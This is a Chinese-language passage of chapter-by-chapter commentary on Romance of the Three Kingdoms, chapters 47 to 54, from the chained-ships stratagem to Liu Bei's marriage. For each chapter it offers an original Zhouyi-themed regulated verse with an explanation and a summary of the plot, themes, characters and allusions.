    3. 经典诗句和典故：这一回中暂未出现特别经典的独立诗句，但其中的连环计是一个着名的典故，为后来赤壁之战中火烧曹军战船埋下了重要伏笔。此计利用曹军不习水战的弱点，将战船用铁链连接，表面上解决了曹军在水上的稳定性问题，但实际上却让曹军的战船在遭遇火攻时无法轻易逃脱，成为了曹军战败的关键因素。


    二、《周易智慧在〈三国演义〉阚泽密献诈降书与庞统巧授连环计中的体现》


    在《三国演义》第 47 回“阚泽密献诈降书 庞统巧授连环计”中，一系列精彩纷呈的情节展现了人性的复杂与智谋的交锋。而运用周易哲学的视角来深度解析这一情节，更能揭示其中蕴含的深刻道理和智慧。


    阚泽，这位勇敢无畏的东吴谋士，以其坚定的信念和过人的智慧，深入曹营，献上诈降书。阚泽的行为体现了周易中“刚健”的精神。刚健者，刚而能健，不屈不挠。阚泽明知此去危险重重，但他毅然决然地承担起这一使命，展现出了坚韧不拔的品质。他如同乾卦中的龙，勇往直前，不畏艰险。


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 第48章 宴长江曹操赋诗，锁战船北军用武

    一、七律诗《周易哲学视角下的赤壁风云——宴长江曹操赋诗，锁战船北军用武》


    （一）《周易哲学视角下的赤壁风云——宴长江曹操赋诗，锁战船北军用武》


    赤壁风云势若雷，江天浩荡战图开。


    曹操豪迈诗言志，北军锁船意自徊。


    周易玄机藏变化，干阳亢极祸根栽。


    坤柔谋略筹帷幄，胜负无常叹盛衰。


    （二）诠释：


    诗的前两句“赤壁风云势若雷，江天浩荡战图开”，描绘了赤壁之战前夕那种风起云涌、气势磅礴的战争氛围，战事即将展开。


    “曹操豪迈诗言志，北军锁船意自徊”，展现了曹操在长江之上宴饮赋诗时的豪迈气概，以及北军战船连锁布阵时的踌躇心态。


    “周易玄机藏变化，干阳亢极祸根栽”，点明了周易哲学中所蕴含的变化之道，曹操的过度自信如乾卦中的“亢龙有悔”，为失败埋下了祸根。


    “坤柔谋略筹帷幄，胜负无常叹盛衰”，强调了周瑜运用坤卦所代表的柔顺、谋略来应对战局，同时也表达了对战争中胜负无常、盛衰交替的感慨。


    整首诗以周易哲学为视角，深入剖析了赤壁之战这一历史事件，展现了其中的智谋、变化和兴衰。


    （三）《三国演义》第48回名为“宴长江曹操赋诗，锁战船北军用武”。以下是其梗概、主题、情节、主要人物及经典诗句和典故：


    1. 梗概：


    庞统献连环计后正欲渡江，徐庶看破江东欲用火攻之计，遂向庞统求教脱身之术，庞统教他暗布谣言，称西凉州韩遂、马腾谋反，杀奔许都，徐庶借此向曹操请得三千人马，星夜往散关把住隘口，成功脱身。


    建安十三年冬十一月十五日，天气晴朗，曹操在大船之上置酒设乐，大会诸将。曹操见南屏山色如画，心中欢喜，认为收服江南指日可待。酒酣之际，曹操横槊赋诗《短歌行》，表达自己的壮志豪情以及求贤若渴之心。但扬州刺史刘馥指出诗中“月明星稀，乌鹊南飞，绕树三匝，无枝可依”不吉利，曹操大怒，手起一槊刺死刘馥，次日酒醒后懊悔不已。


    次日，水军都督毛玠、于禁向曹操禀报大小船只已配搭连锁停当，旌旗战具也都齐备。曹操至水军中央大战船上坐定，唤集诸将听令。此时西北风骤起，各船拽起风帆，冲波激浪稳如平地。曹操心中大喜，谋士程昱提醒曹操，船皆连锁，若对方用火攻难以回避，曹操却大笑，称隆冬之际只有西风北风，没有东风南风，对方若用火攻是烧自己的兵，不必担忧。


    周瑜得知曹操训练水军，遂出战。曹军先用小船不敌周瑜，后用连环大船，江东水军将领文聘与韩当、周泰起初不敌，后闻金收兵。曹军大寨中被风吹折中央黄旗，飘入江中，周瑜大笑，但此时一阵风过，刮起旗角于周瑜脸上拂过，周瑜想起一事，大叫一声往后便倒，口吐鲜血，诸将急救起时，周瑜已不省人事。


    2. 主题：


    本回通过曹操的宴饮赋诗、对战争的自信以及周瑜对曹军的观察和反应等情节，展现了战争前夕双方的不同状态和心态。既突出了曹操的自负与狂妄，也暗示了其即将面临的危机，同时体现了周瑜的智谋和谨慎。反映了战争的复杂性和不确定性，以及各方人物在战争背景下的不同命运和选择。


    3.


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    情节：


    庞统助徐庶脱身：庞统告知徐庶自己的连环计后，徐庶担心赤壁之战曹操兵败自己会受牵连，庞统便教他散布西凉州韩遂、马腾谋反的谣言，让徐庶有借口离开曹操阵营前往散关防守。


    曹操宴饮赋诗：曹操在长江上大摆宴席，与文武百官一同饮酒作乐。面对如画江山，曹操心中欢喜，认为江南唾手可得。酒至半酣，曹操横槊赋诗《短歌行》，众人称赞，却因刘馥直言诗句不吉，曹操怒而刺死刘馥。


    战船连锁与曹军练兵：曹操按照庞统的连环计，将战船用铁链连接起来。之后观看水军训练，见战船在西北风中冲波激浪稳如平地，心中大喜。但程昱提醒曹操连环船怕火攻，曹操却不以为然，认为冬季只有西北风，不会有东南风。


    周瑜观曹兵与病倒：周瑜得知曹操训练水军，前往山顶观望，见曹军先用小船，后用连环大船，起初江东水军将领文聘与韩当、周泰不敌，后曹军闻金收兵。此时曹军大寨中被风吹折中央黄旗，飘入江中，周瑜大笑，但一阵风过，刮起旗角于周瑜脸上拂过，周瑜想起一事，大叫一声往后便倒，口吐鲜血。


    4. 主要人物：


    曹操：本回中曹操是主要人物之一，他在长江上宴饮群臣，横槊赋诗，展现出其豪迈的气概和文学才华，但同时也暴露了他的自负和残暴。他轻信庞统的连环计，对程昱的提醒不以为然，为赤壁之战的失败埋下了伏笔。


    庞统：向曹操献连环计，帮助曹操将战船连接起来，为周瑜的火攻创造了条件。他还巧妙地帮助徐庶脱离曹操阵营，展现出了其智谋和义气。


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 第49章 七星坛诸葛祭风，三江口周瑜纵火

    一、七律诗赞《周易哲学视角下的“七星坛诸葛祭风，三江口周瑜纵火”解析》：


    （一）《赞七星坛诸葛祭风》


    周易哲思蕴妙篇，七星坛上祭风玄。


    三江口畔火涛起，赤壁江边战鼓连。


    智计周郎筹策定，神机诸葛妙谋全。


    风云变幻玄机显，史册留名万古传。


    （二）诠释：


    诗的首联“周易哲思蕴妙篇，七星坛上祭风玄”，点明了以周易哲学视角来解析这一故事的奇妙之处。


    颔联“三江口畔火涛起，赤壁江边战鼓连”，生动地描绘了三江口周瑜纵火的激烈场景以及赤壁之战的紧张氛围。


    颈联“智计周郎筹策定，神机诸葛妙谋全”，赞颂了周瑜的智谋和诸葛亮的神机妙算。


    尾联“风云变幻玄机显，史册留名万古传”，强调了故事中风云变幻所蕴含的玄机，以及它在历史上留下的不朽声名。


    整首诗通过对“七星坛诸葛祭风，三江口周瑜纵火”这一情节的描绘和赞美，展现了周易哲学的深邃与智慧，以及这段历史故事的精彩与传奇。


    （三）《三国演义》第四十九回名为“七星坛诸葛祭风 三江口周瑜纵火”。以下是其具体的梗概、主题、情节、主要人物及相关经典诗句和典故：


    1. 梗概：


    大敌当前，周瑜突然病倒，众人焦急万分。鲁肃去见诸葛亮，诸葛亮表示自己能医好周瑜的病。鲁肃急忙引见，见到周瑜时，他正以被蒙头，饮食难进。诸葛亮与周瑜一番戏说挑逗后，一语道破周瑜是因缺少东风而心病发作。周瑜忍不住向诸葛亮求要良方，诸葛亮称自己曾遇异人，传授奇门遁甲天书，可于南屏山建七星坛作法借三日三夜东南大风。周瑜大喜，立刻安排筑坛事宜。


    诸葛亮沐浴斋戒后登坛祭风，到了约定的时间，果然东南风大起。周瑜惊愕不已，为除后患，令丁奉、徐盛二将提刀去杀诸葛亮，但诸葛亮早已被赵云接应离开。另一方面，周瑜安排人马出阵埋伏，黄盖也准备好火船，按计划向曹操诈降。火船冲向曹营，火借风势迅速蔓延，曹军大乱，溺亡者无数。


    2. 主题：


    这一回主要展现了诸葛亮的神机妙算和周瑜的军事才能，强调了智慧和谋略在战争中的重要性。同时，也反映了孙刘联军在面对强大的曹操时，通过巧妙的谋划和协同作战，取得了以少胜多的胜利，突出了团结协作的力量。


    3. 情节：


    周瑜病倒：曹操大军压境，周瑜作为东吴的统帅，压力巨大，又因火攻之计缺少东风而急火攻心，突然病倒，口吐鲜血，不省人事。这一情节既表现了周瑜对局势的担忧，也为诸葛亮的出场埋下了伏笔。


    诸葛医病：鲁肃向诸葛亮告知周瑜病倒之事，诸葛亮笑称能医。见到周瑜后，两人一番言语交锋，诸葛亮指出周瑜的病源是“万事俱备，只欠东风”，这让周瑜对诸葛亮既惊又佩，也推动了故事的发展，引出了后面的祭风情节。


    七星坛祭风：周瑜按照诸葛亮的要求，派人在南屏山筑七星坛，诸葛亮则在坛上作法。这一情节充满了神秘色彩，将诸葛亮的智慧和神通渲染得淋漓尽致，也为后面的火攻曹操营造了紧张的气氛。


    周瑜追杀诸葛亮：东南风起，周瑜意识到诸葛亮的才能对东吴是个威胁，便派丁奉、徐盛去杀诸葛亮。但诸葛亮早已料到周瑜会有此举，提前安排赵云接应，成功逃脱。这一情节展现了


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    诸葛亮的料事如神和周瑜的猜忌之心。


    火烧曹营：黄盖按照计划率领火船冲向曹营，曹军因战船被铁索相连，无法躲避，火势迅速蔓延，曹军大乱。这是赤壁之战的高潮部分，充分展示了周瑜的军事指挥才能和火攻计策的威力。


    4. 主要人物：


    诸葛亮：智慧的化身，他深知周瑜的心病，巧妙地利用“借东风”一事，既帮助了孙刘联军，又在东吴阵营中树立了自己的威望。面对周瑜的追杀，他提前安排好退路，展现出了高超的谋略和应变能力。


    周瑜：东吴的大都督，有卓越的军事才能和领导能力。他制定了火攻曹操的计策，但因缺少东风而陷入困境。在诸葛亮的帮助下，成功借到东风，实现了火攻曹操的计划。然而，他对诸葛亮的才能又十分忌惮，试图杀害诸葛亮，体现了他的猜忌和狭隘。


    鲁肃：忠厚老实，在周瑜和诸葛亮之间起到了沟通和协调的作用。他关心周瑜的病情，同时也对诸葛亮的才能十分钦佩，是孙刘联盟的坚定支持者。


    丁奉、徐盛：东吴将领，受周瑜之命追杀诸葛亮，但最终未能成功，凸显了诸葛亮的神机妙算和他们与诸葛亮之间的差距。


    黄盖：东吴老将，忠勇可嘉。他为了实现火攻曹操的计划，甘愿忍受皮肉之苦，上演“苦肉计”，向曹操诈降，为赤壁之战的胜利立下了汗马功劳。


    5. 经典诗句：“七星坛上卧龙登，一夜东风江水腾。不是孔明施妙计，周郎安得逞才能？”这首诗赞扬了诸葛亮的神机妙算，同时也肯定了周瑜的军事才能，强调了两人在赤壁之战中的重要作用。


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 第50章 诸葛亮智算华容 关云长义释曹操

    一、七律诗赞《周易智慧下的华容道义：诸葛亮与关云长的抉择》：


    （一）《赞华容道义》


    周易玄妙蕴智谋，


    诸葛筹谋计未休。


    云长义举释孟德，


    华容道义千古留。


    阴阳变化局势转，


    情义道义两难收。


    历史长河显风范，


    智慧光芒耀神州。


    （二）诠释：


    诗的首联“周易玄妙蕴智谋，诸葛筹谋计未休”，点明了周易智慧的深奥以及诸葛亮运用智谋的高超，他的谋划从未停止。


    颔联“云长义举释孟德，华容道义千古留”，描述了关羽重义气的行为，释放了曹操，这种华容道义成为了千古佳话。


    颈联“阴阳变化局势转，情义道义两难收”，进一步阐述了周易中阴阳变化的道理，以及在当时复杂的局势下，情义与道义之间的艰难抉择。


    尾联“历史长河显风范，智慧光芒耀神州”，强调了这个故事在历史长河中展现出的伟大风范，以及其中蕴含的智慧如光芒般闪耀在神州大地。整首诗通过对这一情节的赞颂，表达了对诸葛亮和关羽的敬仰，以及对周易智慧和华容道义的深刻感悟。


    （三）《三国演义》第 50 回名为“诸葛亮智算华容，关云长义释曹操”。以下是对这一回的具体介绍：


    1. 梗概：


    赤壁之战曹操大败，一路逃难。诸葛亮早已算定曹操必败走华容道，且夜观天象，知曹操不当身亡。一是考虑到曹操与关羽有恩，于是派关云长把守华容道，留个人情与关羽做；二是若此时灭掉魏国，吴国会全力攻击蜀国，使蜀国陷入困境。曹操果然由乌林向华容道败退，途中三次大笑诸葛亮、周瑜智谋不足，未在险要处暗设伏兵。一笑笑出赵子龙，多亏徐晃、张合二人双敌赵云，曹操才得以逃脱；二笑笑出张翼德，又是张辽、徐晃二将抵挡张飞，曹操再次脱险；三笑非同小可，笑出了关云长，此时曹军几经打击，已无力再战，曹操只得亲自向关羽哀求放行，关羽念旧日恩情，义释曹操，曹操得以回到江陵。


    2. 主题：


    义的彰显：突出了关羽的“义”。关羽重情重义，面对曹操的哀求以及昔日曹操对他的厚恩，在军令和情义之间纠结，最终选择了义释曹操，展现了他高尚的品德和对情义的坚守。


    智谋的较量：体现了诸葛亮的神机妙算。他准确地预测了曹操的逃跑路线以及曹操的心理，巧妙地安排关羽守华容道，既考验了关羽，又在一定程度上维持了三国鼎立的局势，展示了其卓越的智慧和深谋远虑。


    3. 情节：


    曹操败逃遇伏：曹操赤壁战败后，与张辽等百余骑在火林内奔走，先后遭遇吕蒙、凌统的追兵。后得徐晃救应，又遇甘宁劫杀，曹操在张辽的掩护下逃脱，望彝陵而走。


    曹操三次大笑：曹操逃至乌林之西、宜都之北时，见树木丛杂、山川险峻，仰天大笑，笑周瑜、诸葛亮无谋，结果引出赵子龙。行至葫芦口，曹操又笑诸葛亮、周瑜智谋不足，此处若设伏兵，自己将难以逃脱，此时张飞杀出。


    关羽义释曹操：曹操行至华容道，关羽奉诸葛亮之命在此埋伏。曹操无奈向关羽求情，关羽念及旧恩，放走曹操，曹操仅剩数十骑回到江陵。


    4. 主要人物：


    关羽：蜀汉名将，重情重义，武艺高强。在华容道上，面对曹操的惨状和昔日恩情，内心纠结后选择放曹操一条生路，体现


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    了他的义薄云天。


    曹操：一代枭雄，虽在赤壁之战中大败，但在败逃过程中仍能保持冷静，三次大笑展现出他的狂妄与自负，同时又能屈尊向关羽求情，可见其能屈能伸。


    诸葛亮：蜀汉丞相，足智多谋。算准曹操必走华容道，派关羽把守，既考验了关羽，又顾全了大局。


    5. 经典诗句和典故：


    诗句：这一回中提到了后人描述赤壁之战的诗，“魏吴争斗决雌雄，赤壁楼船一扫空。烈火初张照云海，周郎曾此破曹公”以及“山高月小水茫茫，追叹前朝割据忙。南士无心迎魏武，东风有意便周郎”。


    典故：曹操在向关羽求情时，提到“庾公之斯追子濯孺子之事”。庾公之斯和子濯孺子都是春秋时期的人物，子濯孺子生病不能拿弓，庾公之斯是子濯孺子的敌人的徒弟，但因为师恩传承，庾公之斯没有射杀子濯孺子。曹操以此典故暗示关羽，希望他念及旧恩放过自己。


    二、《周易智慧下的华容道义：诸葛亮与关云长的抉择》


    《三国演义》第 50 回“诸葛亮智算华容，关云长义释曹操”，这一情节不仅展现了惊心动魄的历史场景，更蕴含着深刻的哲学思考。通过运用周易哲学的视角来深度解析这一情节，可以揭示出其中更为丰富的内涵和深远的意义。


    在周易哲学中，一切事物的变化都遵循着一定的规律。诸葛亮智算华容，正是他对这种规律的深刻洞察和运用。他深知曹操的性格特点和行为模式，也明白当时的局势和各方力量的对比。通过精密的计算和谋划，他准确地预测到了曹操败走华容道的可能性，从而提前做好了部署。


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 第51章 曹仁大战东吴兵 孔明一气周公瑾

    一、七律诗赞《周易智慧在〈曹仁大战东吴兵 孔明一气周公瑾〉中的体现与解析》：


    （一）《周易智慧解析曹仁战》


    周易玄妙蕴兵机，曹仁东吴战火弥。


    刚柔并济阴阳转，智计交争形势奇。


    孔明妙算筹帷幄，公瑾雄心志未移。


    历史风云呈画卷，哲思深刻耐人思。


    （二）诠释：


    诗的首联“周易玄妙蕴兵机，曹仁东吴战火弥”，指出《周易》中蕴含着深奥奇妙的军事智慧，而曹仁与东吴之间的战争正激烈进行。


    颔联“刚柔并济阴阳转，智计交争形势奇”，描述了战争中刚柔相济、阴阳相互转化的特点，以及智谋计策相互交锋所呈现出的奇特形势。


    颈联“孔明妙算筹帷幄，公瑾雄心志未移”，赞颂了孔明的精妙算计和在帷幄中运筹帷幄的能力，以及周瑜的雄心壮志始终坚定不移。


    尾联“历史风云呈画卷，哲思深刻耐人思”，强调了这段历史如一幅风云变幻的画卷，其中所蕴含的周易哲学思想深刻而值得人们深思。


    整首诗通过对“曹仁大战东吴兵，孔明一气周公瑾”这一情节的描绘和周易智慧的解析，展现了战争的激烈与智谋的较量，以及其中蕴含的深刻哲理。


    （三）《三国演义》第51回名为“曹仁大战东吴兵 孔明一气周公瑾”。以下是其具体信息：


    1. 梗概：


    刘备为关羽向诸葛亮告免，使其免受军法处置。周瑜收军点将后欲攻取南郡，得知刘备屯兵油江口且诸葛亮也在，便与鲁肃带三千轻骑前往。席间，周瑜询问刘备是否想攻取南郡，刘备称若周瑜攻不下自己便攻，周瑜表示若自己攻不下则任由刘备攻取。


    之后，周瑜派蒋钦、徐晃、丁奉往取南郡，败于曹仁、牛金而回。周瑜亲自出马，取得彝陵，曹仁、曹洪弃城而走。周瑜入城时落入陷坑，左肋中箭。回营后，周瑜诈死，曹仁等劫寨中计，大败而走。然而，当周瑜到达南郡时，却发现赵子龙已占南郡，并且听说孔明令张飞已取荆州，令关羽已取襄阳，周瑜听后金疮迸裂。


    2. 主题：


    这一回继续展现了三国时期各方势力的争斗与谋略较量。突出了诸葛亮的神机妙算和周瑜的急于求成，以及刘备集团在诸葛亮的辅佐下逐渐崛起，开始与东吴、曹魏形成鼎立之势。同时，也反映了“螳螂捕蝉，黄雀在后”的道理，东吴与曹魏相争，刘备集团从中获利。


    3. 情节：


    孙刘会面：刘备派孙乾为周瑜贺功，周瑜得知刘备、诸葛亮在油江口后，与鲁肃前往。在与刘备的交谈中，双方就南郡归属问题达成约定，周瑜自信能取南郡，对刘备的态度有些轻视。


    东吴攻南郡：周瑜先派蒋钦等将攻打南郡，被曹仁、牛金击败。随后周瑜亲自出战，取得彝陵，但在南郡中了曹仁的计，左肋中箭。


    曹仁中计：周瑜回营后诈死，曹仁等劫寨中计，大败而走。


    刘备得南郡：趁周瑜与曹仁交战之际，诸葛亮派遣赵子龙袭取了南郡，并且利用南郡的虎符，分赴其余二城，谎称曹仁求援，使得刘备军轻松占据荆州。


    4. 主要人物：


    周瑜：东吴大都督，有勇有谋，但气量狭小，急于建功立业。在这一回中，他先是轻视刘备，自信能取南郡，后又中了曹仁的计，被箭射伤，最终又被诸葛亮算计，失去了南郡，气恨交加。


    诸葛亮：刘备的军师，智


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    慧超群，善于谋略。他巧妙地利用周瑜与曹仁的争斗，不费一兵一卒，坐收渔翁之利，让刘备集团得到了南郡等城池，为刘备的立足和发展奠定了基础。


    刘备：蜀汉之主，以仁德闻名。在这一回中，他听从诸葛亮的安排，与周瑜周旋，成功地在东吴与曹魏的争斗中获利，展现出了一定的政治智慧和谋略。


    曹仁：曹魏将领，勇猛善战，有一定的智谋。他在南郡坚守，并设计击败了东吴的多次进攻，但最终还是没能守住南郡。


    5. 经典诗句和典故：这一回中没有特别突出的经典诗句，但涉及到一些三国时期的战争谋略和计策，如曹仁的诈败诱敌、周瑜的诈死之计等，这些都成为了后来人们谈论三国故事时经常提及的典故。这些计策的运用，展现了三国时期将领们的智慧和战争的复杂性。


    二、《周易智慧在〈曹仁大战东吴兵 孔明一气周公瑾〉中的体现与解析》


    在《三国演义》第 51 回“曹仁大战东吴兵 孔明一气周公瑾”中，一场惊心动魄的战争与智谋的较量展现在我们眼前。而通过运用周易哲学的视角来深度剖析这一情节，我们能够发现其中蕴含的更深层次的道理和智慧。


    周易哲学强调阴阳相互转化、刚柔相济的理念，这在曹仁与东吴兵的大战以及孔明与周公瑾的智谋交锋中都有着鲜明的体现。


    曹仁，作为曹魏的一员猛将，他在战场上展现出了坚韧不拔的意志和勇猛无畏的精神。这与周易中的阳刚之气相契合。他率领曹军与东吴兵激战，不畏强敌，奋勇抵抗，体现了阳刚之性的力量和决心。然而，战争的胜负并非仅仅取决于武力，更在于智谋的运用。


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 第52章 诸葛亮智辞鲁肃，赵子龙计取桂阳

    一、七律诗《周易哲学视角下的〈三国演义〉第 52 回解析》：


    （一）《周易哲思论三国》


    诸葛智谋辞鲁肃，子龙智勇取桂阳。


    卦象变幻藏玄妙，世事纷纭蕴典章。


    阴阳相生道无尽，刚柔并济势有方。


    风云际会英雄谱，易理千秋话兴亡。


    （二）诠释：


    诗的首联“诸葛智谋辞鲁肃，子龙智勇取桂阳”，直接点明了《三国演义》第 52 回中的主要情节，诸葛亮的智慧推辞鲁肃，赵子龙的勇敢夺取桂阳。


    颔联“卦象变幻藏玄妙，世事纷纭蕴典章”，指出周易哲学中卦象的变化蕴含着深奥的道理，而世间的种种事情也包含着丰富的规则和道理。


    颈联“阴阳相生道无尽，刚柔并济势有方”，阐述了周易哲学中阴阳相生的理念，以及刚柔并济的处世之道。


    尾联“风云际会英雄谱，易理千秋话兴亡”，强调了在那个风云变幻的时代，英雄们的故事与周易的哲理相互辉映，而易理也将千秋万代地诉说着兴衰存亡的道理。


    整首诗以周易哲学为视角，深入解析了《三国演义》第 52 回的情节和内涵，展现了其中的智慧与哲理。


    （三）《三国演义》第 52 回名为“诸葛亮智辞鲁肃，赵子龙计取桂阳”。以下是其详细内容：


    1. 梗概：


    智辞鲁肃：周瑜见诸葛亮袭取了南郡、荆襄，心中气愤不已。鲁肃受周瑜之命前往荆州找刘备、诸葛亮索要荆州。诸葛亮请出刘琦，告知鲁肃刘备是替刘琦镇守荆州，若刘琦去世，东吴再来讨要才合情合理，鲁肃无奈返回。


    计取桂阳：刘备占据荆州、南郡、襄阳后，商议久远之计。马良建议先取零陵，再取武陵、桂阳、长沙。刘备依计派军攻打零陵，邢道荣出战被擒后投降，欲使计擒刘备等人，反被赵云刺死。刘贤被张飞活捉，零陵太守刘度最终投降。之后刘备问众将谁愿取桂阳，赵云、张飞相争，最终赵云拈阄获得机会。赵云领三千人马前往桂阳，桂阳太守赵范起初想投降，后设酒宴欲将寡嫂许配给赵云，被赵云拒绝。赵范欲用美人计杀赵云，被其识破，最终赵云夺下桂阳城。


    2. 主题：


    这一回主要展现了诸葛亮的智慧和口才，他巧妙地应对了东吴鲁肃的讨荆州之举，既维护了刘备暂时占据荆州的合理性，又避免了与东吴的直接冲突，体现了外交谋略的重要性。同时，也刻画了赵云的英勇和机智，他在取桂阳的过程中，面对各种状况都能妥善应对，成功完成任务，凸显了将领的优秀品质和能力对于战争胜利的关键作用。


    3. 情节：


    与鲁肃周旋：鲁肃到荆州后，诸葛亮以刘表之子刘琦尚在为由，说明荆州目前应由刘备辅佐刘琦镇守，等刘琦不在了再归还东吴，暂时稳住了鲁肃。


    零陵之战：刘备派军攻打零陵，诸葛亮用计擒住邢道荣，邢道荣投降后欲行反间计，被识破后赵云刺死邢道荣，张飞活捉刘贤，零陵太守刘度投降。


    赵云取桂阳：赵云前往桂阳，太守赵范投降后欲将寡嫂樊氏许配给赵云，赵云认为此事不妥拒绝。赵范因此心怀不满，企图用美人计杀害赵云，但被赵云识破，赵云最终成功夺取桂阳。


    4. 主要人物：


    诸葛亮：足智多谋，面对鲁肃的讨荆州，巧妙地以刘琦为借口，化解了危机，展现出高超的外交智慧和辩论才能。


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    鲁肃：为人忠厚老实，受周瑜之命前来讨要荆州，但被诸葛亮的言辞说得哑口无言，虽心有不甘，但也无可奈何。


    赵云：英勇善战且有智谋，在取桂阳的过程中，既展现了强大的武力，又能识破敌人的阴谋，成功夺取城池。


    赵范：桂阳太守，起初投降刘备，后又企图用美人计杀害赵云，是一个反复无常的人。


    刘度：零陵太守，在儿子刘贤被擒后，选择投降刘备。


    5. 经典诗句和典故：这一回中似乎没有特别着名的诗句，但该回情节涉及到一些历史背景和人物关系等元素，可看作是对三国历史典故的一种呈现，比如诸葛亮以刘琦为借口占据荆州，这是基于当时的历史背景和人物关系所采取的策略，也成为了三国故事中的一个经典情节。而美人计虽在此回中未完全成功，但美人计在历史上是一种常见的计谋策略，在此回中被提及也增加了故事的戏剧性和谋略性。


    二、《周易哲学视角下的〈三国演义〉第 52 回解析》


    《三国演义》第 52 回“诸葛亮智辞鲁肃，赵子龙计取桂阳”，是一段充满智谋与勇略的精彩篇章。从周易哲学的角度来深度剖析这一回的故事，可以揭示出其中更深层次的意义和智慧。


    在这一回中，诸葛亮展现出了非凡的智慧和辩才。他巧妙地应对鲁肃的讨荆州之举，运用了周易中“变易”的思想。局势在不断变化，而诸葛亮能够根据形势的变化灵活应对，以不变应万变。他以刘表之子刘琦尚在为由，说明荆州应由刘备辅佐刘琦镇守，这种说辞既合情合理，又暂时稳住了鲁肃，体现了他对局势的精准把握和对人心的洞察。


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 第53章 关云长义释黄汉升，孙仲谋大战张文远

    一、七律诗《义战之间：周易哲学视角下的关云长义释黄汉升与孙仲谋大战张文远》：


    （一）《义战之间》


    风云际会战长沙，义释黄升显侠裟。


    周易阴阳融战事，英雄气概贯天涯。


    孙谋勇斗张文远，豪气干云映彩霞。


    古史篇章含妙理，千秋忠义颂中华。


    （二）诠释：


    诗的首联“风云际会战长沙，义释黄升显侠裟”，描绘了在长沙发生的激烈战斗，以及关羽义释黄忠这一彰显侠义的举动。


    颔联“周易阴阳融战事，英雄气概贯天涯”，指出了用周易哲学中的阴阳观念来理解这场战事，同时强调了英雄们的气概贯穿天涯。


    颈联“孙谋勇斗张文远，豪气干云映彩霞”，描述了孙权与张辽的激烈战斗，展现出他们的豪气直冲云霄，与彩霞相映。


    尾联“古史篇章含妙理，千秋忠义颂中华”，表达了这段历史篇章蕴含着深刻的道理，而其中的忠义精神将千秋传颂于中华大地。


    整首诗以周易哲学为视角，深入剖析了“关云长义释黄汉升，孙仲谋大战张文远”这一情节，展现了其中的侠义、英雄气概和历史内涵。


    （三）《三国演义》第53回名为“关云长义释黄汉升，孙仲谋大战张文远”。以下是其具体内容：


    1. 梗概：


    关羽战长沙：刘备已得武陵、桂阳等郡，关羽见兄弟立功，便请命去取长沙。长沙太守韩玄麾下有老将黄忠，年近六旬却有万夫不当之勇。关羽仅带五百校刀手前往，与黄忠初次交战，两人大战一百余合不分胜负。次日再斗五六十合，依旧难解难分。关羽想用拖刀计取胜，黄忠马失前蹄，关羽念其英雄，饶他性命，让其换马再战。


    黄忠报恩关羽：黄忠回城后，韩玄疑其通敌，欲斩黄忠。次日黄忠为报关羽不杀之恩，只射关羽盔缨以明其不杀之意。韩玄见此，更加认定黄忠私通关羽，执意要杀黄忠。


    魏延杀韩玄献城：魏延一直对韩玄不满，此时挥刀杀入，砍死刀手，救起黄忠，并杀了韩玄，提韩玄头引百姓出城投拜关羽。关羽得了长沙，刘备亲自去请黄忠，黄忠方才出降。


    孙权战张辽：孙权在赤壁鏖兵之后，久在合淝与曹兵交锋。张辽差人来下战书，孙权大怒，出兵与曹军战。张辽识破了孙权的里应外合之计，导致孙权大败，太史慈中箭而亡，孙权痛哭太史慈，养其子太史享于府中。


    2. 主题：


    “义”的体现：关羽义释黄忠，展现了关羽的重义，即使在战场上，也能对英雄豪杰惺惺相惜，饶对方性命，这是“义”在战场上的体现。而魏延救黄忠、杀韩玄后投刘备，也有对忠义的一种别样诠释，他认为韩玄残暴不仁，自己的行为是弃暗投明。


    智勇的较量：无论是关羽与黄忠的武力对决，还是张辽与孙权的智谋比拼，都体现了三国时期英雄人物的智勇。关羽和黄忠武力超群，战斗精彩；张辽识破孙权计谋，展现出卓越的军事智慧。


    3. 情节：


    关羽与黄忠大战：关羽和黄忠的三场战斗是本回的重要情节，从初次交锋的百余合不分胜负，到第二次的五六十合难解难分，再到黄忠箭射关羽盔缨报恩，情节跌宕起伏，展现了两位大将的高超武艺和高尚品德。


    魏延杀韩玄：韩玄的猜忌和残暴引发了魏延的不满，魏延杀韩玄这一情节，既体现了魏延的果敢，也推动了故事的发展，使


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    得长沙归降刘备。


    孙权与张辽交战：孙权与张辽的战斗，以及孙权的战败和太史慈的死，增加了故事的紧张感和悲壮色彩。


    4. 主要人物：


    关羽：蜀汉名将，武艺高强，重情重义。在本回中，他与黄忠交战，展现出强大的武力和高尚的品德，义释黄忠更是被传为佳话。


    黄忠：长沙老将，有万夫不当之勇，箭术高超。他与关羽惺惺相惜，虽各为其主，但在战斗中互相敬重，最后归降刘备。


    魏延：勇猛果敢，但性格较为孤傲。因不满韩玄，杀韩玄后投刘备，成为刘备麾下一员大将。


    韩玄：长沙太守，性急、轻于杀戮，为人残暴不仁，最终被魏延所杀。


    孙权：东吴之主，有雄才大略，但在本回中与张辽交战失利，损失了太史慈这员大将。


    张辽：曹操麾下大将，智勇双全，识破了孙权的计谋，成功抵御了东吴的进攻。


    5. 经典诗句：


    “将军气概与天参，白发犹然困汉南。至死甘心无怨望，临降低首尚怀惭。宝刀灿雪彰神勇，铁骑临风忆战酣。千古高名应不泯，长随孤月照湘潭。”此诗赞黄忠，体现了黄忠的英雄气概和神勇，即便年老，仍有壮志豪情。


    6. 典故：


    关云长义释黄汉升：关羽不杀落马的黄忠，展现了他的义气和英雄相惜之情，成为三国故事中的经典桥段，被后人传颂。


    孙仲谋大战张文远：孙权与张辽的战斗，以及张辽的出色表现，成为三国时期以少胜多、以智取胜的战例之一，也为张辽的军事才能增添了光彩。


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 第54章 吴国太佛寺看新郎，刘皇叔洞房续佳偶

    一、七律诗《周易哲学视角下的“吴国太佛寺看新郎，刘皇叔洞房续佳偶”》：


    （一）《周易妙谛映良缘》


    周易哲思蕴妙玄，太佛寺中看新颜。


    阴阳互转机缘巧，变易无常世事艰。


    险阻终随智慧破，和谐渐与爱缘连。


    皇叔佳偶洞房续，演绎传奇千古传。


    （二）诠释：


    诗的首联“周易哲思蕴妙玄，太佛寺中看新颜”，点明了以周易哲学的视角来审视这一情节，在太佛寺中见证新人的风采。


    颔联“阴阳互转机缘巧，变易无常世事艰”，体现了周易哲学中阴阳相互转化、世事变化无常的观念，强调了机缘的巧妙和世事的艰难。


    颈联“险阻终随智慧破，和谐渐与爱缘连”，描述了刘备凭借智慧克服险阻，最终与孙尚香成就美好姻缘，同时也体现了和谐与爱缘的逐渐连接。


    尾联“皇叔佳偶洞房续，演绎传奇千古传”，总结了刘皇叔与孙尚香洞房续佳偶的美好结局，以及这一情节成为千古传奇的意义。


